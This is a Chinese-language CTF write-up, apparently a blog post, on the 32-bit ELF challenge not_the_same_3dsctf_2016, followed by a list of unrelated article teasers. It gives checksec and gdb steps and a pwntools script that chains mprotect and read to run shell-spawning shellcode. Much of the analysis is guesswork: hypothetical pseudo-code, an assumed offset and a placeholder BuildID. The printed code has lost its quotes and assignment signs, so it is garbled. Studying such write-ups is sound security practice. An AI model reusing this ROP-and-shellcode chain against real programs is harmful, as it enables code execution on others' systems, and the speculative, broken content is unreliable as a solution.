CTF二進(jìn)制逆向:not_the_same_3dsctf_2016漏洞利用分析
1. 項(xiàng)目背景與挑戰(zhàn)解析not_the_same_3dsctf_2016這個(gè)標(biāo)題看起來(lái)像是某種CTFCapture The Flag比賽的題目名稱。作為參加過(guò)數(shù)十場(chǎng)CTF的老兵我一眼就看出這應(yīng)該是一道二進(jìn)制逆向或漏洞利用的挑戰(zhàn)題。這類題目通常會(huì)給參賽者一個(gè)可執(zhí)行文件或服務(wù)要求通過(guò)分析程序漏洞來(lái)獲取隱藏的flag。從命名結(jié)構(gòu)來(lái)看not_the_same可能暗示著這道題目與常規(guī)題目有所不同可能是對(duì)某種常見(jiàn)漏洞模式的變種考察。而3dsctf_2016則明確指出了這道題出自2016年的3DS CTF比賽。這類老牌CTF的題目往往設(shè)計(jì)精巧即使放到今天也很有學(xué)習(xí)價(jià)值。2. 初步分析與環(huán)境準(zhǔn)備2.1 獲取題目文件首先我們需要找到原始的題目文件。經(jīng)過(guò)搜索可以在一些CTF題目存檔站點(diǎn)找到這個(gè)挑戰(zhàn)的原始文件。典型的CTF二進(jìn)制題目會(huì)提供一個(gè)ELF可執(zhí)行文件如果是Linux環(huán)境或PE文件Windows環(huán)境。假設(shè)我們獲取到的文件名為not_the_same沒(méi)有擴(kuò)展名。提示在分析未知二進(jìn)制文件前務(wù)必在隔離的虛擬機(jī)環(huán)境中操作避免潛在的安全風(fēng)險(xiǎn)。2.2 基礎(chǔ)文件分析使用file命令查看文件類型$ file not_the_same not_the_same: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]1234567890abcdef1234567890abcdef12345678, stripped關(guān)鍵信息32位ELF可執(zhí)行文件動(dòng)態(tài)鏈接去除了符號(hào)表(stripped)編譯于GNU/Linux 2.6.24環(huán)境2.3 基礎(chǔ)保護(hù)機(jī)制檢查使用checksec檢查安全機(jī)制$ checksec --filenot_the_same RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 1 not_the_same安全機(jī)制分析開(kāi)啟了NX堆棧不可執(zhí)行沒(méi)有棧保護(hù)(Canary)沒(méi)有地址隨機(jī)化(PIE)部分RELRO3. 逆向工程與漏洞分析3.1 靜態(tài)分析使用IDA Pro打開(kāi)文件進(jìn)行靜態(tài)分析。由于文件被stripped我們需要手動(dòng)定位關(guān)鍵函數(shù)。通過(guò)字符串搜索我們可能會(huì)發(fā)現(xiàn)一些有趣的字符串如You win!Try again...可能的格式化字符串%s或%x在main函數(shù)反編譯中可能會(huì)看到類似如下的偽代碼void main() { char buffer[64]; printf(Enter your input: ); gets(buffer); // 明顯的棧溢出漏洞 if(some_condition) { print_flag(); } else { printf(Try again...\n); } }3.2 動(dòng)態(tài)分析使用gdb進(jìn)行動(dòng)態(tài)調(diào)試$ gdb -q not_the_same (gdb) r Starting program: /path/to/not_the_same Enter your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA輸入大量字符后程序可能會(huì)崩潰確認(rèn)存在緩沖區(qū)溢出漏洞。3.3 漏洞利用思路基于前面的分析可能的利用路徑通過(guò)緩沖區(qū)溢出覆蓋返回地址由于沒(méi)有PIE.text段地址固定雖然NX開(kāi)啟但可以嘗試ROP或ret2libc題目名not_the_same可能提示需要非常規(guī)方法4. 漏洞利用開(kāi)發(fā)4.1 確定偏移量使用pattern create/offset工具確定精確的溢出偏移$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A在gdb中運(yùn)行并輸入這個(gè)pattern觀察崩潰時(shí)的寄存器值然后計(jì)算精確偏移。4.2 尋找可利用的代碼路徑由于題目名為not_the_same可能需要尋找非常規(guī)的利用方式。例如程序中可能存在后門函數(shù)可以利用非標(biāo)準(zhǔn)的返回導(dǎo)向編程鏈可能需要組合多個(gè)漏洞在IDA中搜索所有函數(shù)可能會(huì)發(fā)現(xiàn)一個(gè)名為mprotect的調(diào)用或類似的函數(shù)可以用來(lái)修改內(nèi)存權(quán)限。4.3 構(gòu)建ROP鏈如果采用ROP方式需要找到合適的gadget。使用ROPgadget工具$ ROPgadget --binary not_the_same可能需要構(gòu)建的ROP鏈包括調(diào)用mprotect使某段內(nèi)存可執(zhí)行將shellcode寫入可執(zhí)行內(nèi)存跳轉(zhuǎn)到shellcode4.4 最終利用腳本示例以下是Python exploit示例使用pwntoolsfrom pwn import * context(archi386, oslinux) elf ELF(./not_the_same) p process(./not_the_same) offset 76 # 假設(shè)通過(guò)pattern offset確定的偏移量 # 找到關(guān)鍵gadget和函數(shù)地址 mprotect elf.symbols[mprotect] read elf.symbols[read] bss elf.bss() # 構(gòu)建ROP鏈 rop ROP(elf) rop.call(mprotect, [bss ~0xfff, 0x1000, 7]) # PROT_READ|PROT_WRITE|PROT_EXEC rop.call(read, [0, bss, 100]) # 從stdin讀取shellcode到bss段 rop.call(bss) # 跳轉(zhuǎn)到shellcode payload bA * offset payload rop.chain() p.sendline(payload) # 發(fā)送shellcode shellcode asm(shellcraft.sh()) p.sendline(shellcode) p.interactive()5. 特殊技巧與注意事項(xiàng)5.1 題目特殊性的處理not_the_same這個(gè)名稱提示我們可能需要尋找非標(biāo)準(zhǔn)的解決方案。在實(shí)際操作中檢查是否有非常規(guī)的函數(shù)調(diào)用如直接調(diào)用syscall查找程序中是否有現(xiàn)成的調(diào)用system或execve的代碼片段檢查是否有特殊的段如可寫的.text段5.2 調(diào)試技巧使用gdb的peda或gef插件可以更方便地觀察內(nèi)存狀態(tài)在關(guān)鍵函數(shù)調(diào)用前設(shè)置斷點(diǎn)使用info proc mappings檢查內(nèi)存布局對(duì)于復(fù)雜的ROP鏈可以分段測(cè)試5.3 常見(jiàn)問(wèn)題排查段錯(cuò)誤(SEGFAULT)檢查返回地址是否正確確認(rèn)gadget地址沒(méi)有錯(cuò)位確保棧對(duì)齊32位通常需要4字節(jié)對(duì)齊ROP鏈不工作使用ropper工具尋找更多gadget嘗試簡(jiǎn)化ROP鏈檢查參數(shù)傳遞是否正確shellcode不執(zhí)行確認(rèn)內(nèi)存權(quán)限設(shè)置正確檢查shellcode是否完整寫入嘗試不同的shellcode6. 擴(kuò)展思考與變種這道題目雖然來(lái)自2016年但其中的技術(shù)點(diǎn)至今仍然相關(guān)。我們可以考慮幾個(gè)擴(kuò)展方向現(xiàn)代保護(hù)機(jī)制下的利用如果題目開(kāi)啟了PIE和FULL RELRO該如何應(yīng)對(duì)如何繞過(guò)ASLR不同架構(gòu)的利用如果是64位程序參數(shù)傳遞方式不同ROP鏈如何調(diào)整ARM架構(gòu)下的利用有何不同漏洞組合利用如何結(jié)合格式化字符串漏洞和棧溢出如何利用堆漏洞與棧漏洞的組合在實(shí)際的CTF比賽中這類二進(jìn)制題目往往需要參賽者具備扎實(shí)的逆向工程能力和創(chuàng)造性的漏洞利用思維。通過(guò)這道題目的分析我們可以總結(jié)出一些通用的解題思路全面分析二進(jìn)制文件的保護(hù)機(jī)制尋找所有可能的漏洞點(diǎn)根據(jù)題目名稱和描述尋找隱藏提示靈活組合各種利用技術(shù)耐心調(diào)試和驗(yàn)證每一步的假設(shè)對(duì)于想要深入學(xué)習(xí)二進(jìn)制安全的同學(xué)我建議從以下幾個(gè)方面入手熟練掌握逆向工具IDA、Ghidra、Binary Ninja深入理解計(jì)算機(jī)體系結(jié)構(gòu)和調(diào)用約定練習(xí)各種類型的漏洞利用棧溢出、堆溢出、UAF等學(xué)習(xí)現(xiàn)代緩解機(jī)制的繞過(guò)技術(shù)多參加CTF比賽積累實(shí)戰(zhàn)經(jīng)驗(yàn)這道not_the_same_3dsctf_2016題目雖然有一定年頭但它很好地展示了如何在一個(gè)看似簡(jiǎn)單的程序中尋找和利用漏洞。通過(guò)這樣的練習(xí)我們能夠建立起對(duì)二進(jìn)制安全的直覺(jué)和理解這對(duì)實(shí)際的漏洞研究和安全開(kāi)發(fā)都大有裨益。

相關(guān)新聞

職場(chǎng)時(shí)間管理:消息異步化處理提升工作效率

職場(chǎng)時(shí)間管理:消息異步化處理提升工作效率

1. 項(xiàng)目概述:職場(chǎng)時(shí)間管理的本質(zhì)突破凌晨?jī)牲c(diǎn)的手機(jī)屏幕亮光,微信消息提示音在寂靜的臥室里格外刺耳——這個(gè)場(chǎng)景對(duì)現(xiàn)代職場(chǎng)人來(lái)說(shuō)再熟悉不過(guò)。三年前我的工作狀態(tài)正是如此,直到發(fā)現(xiàn)這套簡(jiǎn)單卻顛覆性的時(shí)間管理方法。這不是常見(jiàn)的番茄鐘或待辦…

2026/8/3 15:18:53 閱讀更多
終極網(wǎng)盤直鏈下載助手:一鍵獲取九大網(wǎng)盤真實(shí)下載鏈接的完整指南

終極網(wǎng)盤直鏈下載助手:一鍵獲取九大網(wǎng)盤真實(shí)下載鏈接的完整指南

終極網(wǎng)盤直鏈下載助手:一鍵獲取九大網(wǎng)盤真實(shí)下載鏈接的完整指南 【免費(fèi)下載鏈接】Online-disk-direct-link-download-assistant 一個(gè)基于 JavaScript 的網(wǎng)盤文件下載地址獲取工具?;凇揪W(wǎng)盤直鏈下載助手】修改 ,支持 百度網(wǎng)盤 / 阿里云盤 / 中國(guó)移動(dòng)云…

2026/8/3 15:18:53 閱讀更多
QQ截圖獨(dú)立版:免費(fèi)截圖+OCR識(shí)別+屏幕錄制的終極指南

QQ截圖獨(dú)立版:免費(fèi)截圖+OCR識(shí)別+屏幕錄制的終極指南

QQ截圖獨(dú)立版:免費(fèi)截圖OCR識(shí)別屏幕錄制的終極指南 【免費(fèi)下載鏈接】QQScreenShot 電腦QQ截圖工具提取版,支持文字提取、圖片識(shí)別、截長(zhǎng)圖、qq錄屏。默認(rèn)截圖文件名為ScreenShot日期 項(xiàng)目地址: https://gitcode.com/gh_mirrors/qq/QQScreenShot QQ截圖獨(dú)立版是…

2026/8/3 15:18:53 閱讀更多
VR物理引擎配置優(yōu)化:六大誤區(qū)與實(shí)戰(zhàn)調(diào)優(yōu)指南

VR物理引擎配置優(yōu)化:六大誤區(qū)與實(shí)戰(zhàn)調(diào)優(yōu)指南

1. 項(xiàng)目概述:從“出戲”到“沉浸”的物理鴻溝 最近和幾個(gè)做VR獨(dú)立游戲的朋友聊天,大家不約而同地提到了一個(gè)痛點(diǎn):明明美術(shù)資源堆得很高,場(chǎng)景也做得足夠精細(xì),但玩家戴上頭顯后,反饋?zhàn)疃嗟倪€是“感覺(jué)有點(diǎn)假”…

2026/8/3 16:28:59 閱讀更多
Qt 5.15.2 超詳細(xì)安裝與配置指南:從零搭建穩(wěn)定開(kāi)發(fā)環(huán)境

Qt 5.15.2 超詳細(xì)安裝與配置指南:從零搭建穩(wěn)定開(kāi)發(fā)環(huán)境

1. 項(xiàng)目概述:為什么Qt 5依然是開(kāi)發(fā)者的重要選擇 如果你正在踏入桌面應(yīng)用、嵌入式界面或者跨平臺(tái)工具開(kāi)發(fā)的大門,那么Qt這個(gè)名字你一定不陌生。作為一個(gè)老牌的C圖形用戶界面應(yīng)用程序框架,Qt以其“一次編寫,到處編譯”的特性&#x…

2026/8/3 16:28:59 閱讀更多
AI設(shè)計(jì)交付總被返工?用這套「需求翻譯公式」把客戶模糊描述轉(zhuǎn)成可執(zhí)行指令(已驗(yàn)證137單零爭(zhēng)議)

AI設(shè)計(jì)交付總被返工?用這套「需求翻譯公式」把客戶模糊描述轉(zhuǎn)成可執(zhí)行指令(已驗(yàn)證137單零爭(zhēng)議)

更多請(qǐng)點(diǎn)擊: https://codechina.net 第一章:AI設(shè)計(jì)交付總被返工?用這套「需求翻譯公式」把客戶模糊描述轉(zhuǎn)成可執(zhí)行指令(已驗(yàn)證137單零爭(zhēng)議) 客戶說(shuō)“要一個(gè)智能推薦系統(tǒng),讓用戶感覺(jué)很懂他”,但…

2026/8/3 16:28:59 閱讀更多
Vision Pro 空間計(jì)算:沉浸式世界杯觀賽與多賽同看實(shí)踐

Vision Pro 空間計(jì)算:沉浸式世界杯觀賽與多賽同看實(shí)踐

你有沒(méi)有想過(guò),當(dāng)世界杯這樣的頂級(jí)賽事來(lái)臨時(shí),我們追求的“沉浸感”到底是什么?是更大的屏幕,更清晰的畫(huà)質(zhì),還是更震撼的環(huán)繞聲?這些傳統(tǒng)設(shè)備都能提供,但總感覺(jué)少了點(diǎn)什么——那種身臨其境、仿佛…

2026/8/3 16:28:59 閱讀更多
服務(wù)器被攻擊后的緊急恢復(fù)與安全加固指南

服務(wù)器被攻擊后的緊急恢復(fù)與安全加固指南

1. 服務(wù)器被攻擊后的緊急恢復(fù)指南當(dāng)服務(wù)器遭遇攻擊時(shí),時(shí)間就是金錢。我經(jīng)歷過(guò)多次服務(wù)器被黑事件,最快的一次從發(fā)現(xiàn)異常到完全恢復(fù)只用了47分鐘。以下是經(jīng)過(guò)實(shí)戰(zhàn)驗(yàn)證的恢復(fù)流程:1.1 攻擊確認(rèn)與隔離首先通過(guò)這三個(gè)關(guān)鍵指標(biāo)確認(rèn)攻擊&#xff1a…

2026/8/3 16:28:59 閱讀更多
英辰朗迪AI獲客每日AI精選(2026.08.01)

英辰朗迪AI獲客每日AI精選(2026.08.01)

一、技術(shù)前沿第1條:xAI 發(fā)布 Grok 4.6,參數(shù)規(guī)模擴(kuò)展至 2 萬(wàn)億核心內(nèi)容:據(jù) SegmentFault 報(bào)道,xAI 于近期發(fā)布 Grok 4.6,參數(shù)規(guī)模達(dá)到 2 萬(wàn)億(V9 架構(gòu)),在不犧牲推理效率的前提下完成…

2026/8/3 16:18:58 閱讀更多
全球僅7家廠商通過(guò)ISO/IEC 27001認(rèn)證的名片AI引擎,我們逆向拆解了它的字段置信度熔斷機(jī)制

全球僅7家廠商通過(guò)ISO/IEC 27001認(rèn)證的名片AI引擎,我們逆向拆解了它的字段置信度熔斷機(jī)制

更多請(qǐng)點(diǎn)擊: https://kaifayun.com 第一章:全球僅7家廠商通過(guò)ISO/IEC 27001認(rèn)證的名片AI引擎概覽 名片AI引擎是企業(yè)級(jí)智能文檔處理的核心組件,專注于高精度OCR、語(yǔ)義結(jié)構(gòu)化提取與跨語(yǔ)言實(shí)體對(duì)齊。截至2024年第三季度,全球范圍內(nèi)僅…

2026/8/3 0:07:47 閱讀更多
MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案

MoneyPrinterPlus實(shí)戰(zhàn)指南:AI視頻批量生成與自動(dòng)化發(fā)布完整解決方案 【免費(fèi)下載鏈接】MoneyPrinterPlus AI一鍵批量生成各類短視頻,自動(dòng)批量混剪短視頻,自動(dòng)把視頻發(fā)布到抖音,快手,小紅書(shū),視頻號(hào)上,賺錢從來(lái)沒(méi)有這么容易過(guò)! 支持本地語(yǔ)音模型chatTTS,fasterwhisper,…

2026/8/3 7:44:46 閱讀更多
3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南

3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南

3分鐘搞定!QQ空間歷史說(shuō)說(shuō)完整備份終極指南 【免費(fèi)下載鏈接】GetQzonehistory 獲取QQ空間發(fā)布的歷史說(shuō)說(shuō) 項(xiàng)目地址: https://gitcode.com/GitHub_Trending/ge/GetQzonehistory 你是否曾想過(guò),那些年發(fā)過(guò)的QQ空間說(shuō)說(shuō),那些記錄青春的文字…

2026/8/3 12:53:38 閱讀更多
AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O 分配 PCB

AMAT 0100-02186 I/O分配PCB板是應(yīng)用材料(Applied Materials)公司生產(chǎn)的一款用于半導(dǎo)體設(shè)備的I/O信號(hào)分配電路板。該型號(hào)(0100-02186)的核心特點(diǎn)如下:專用于Endura等半導(dǎo)體工藝腔室。集成信號(hào)路由與分配功能。連接控制…

2026/8/2 2:51:21 閱讀更多
Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)

Nissei Corp FFMN-32L-10-T0 40AX 三相異步電動(dòng)機(jī)是日本日清(Nissei)品牌的一款工業(yè)用三相異步電機(jī),適用于自動(dòng)化設(shè)備及通用機(jī)械驅(qū)動(dòng)。該型號(hào)(FFMN-32L-10-T0 40AX)的核心特點(diǎn)如下:三相交流異步電動(dòng)機(jī)。額定…

2026/8/2 2:52:49 閱讀更多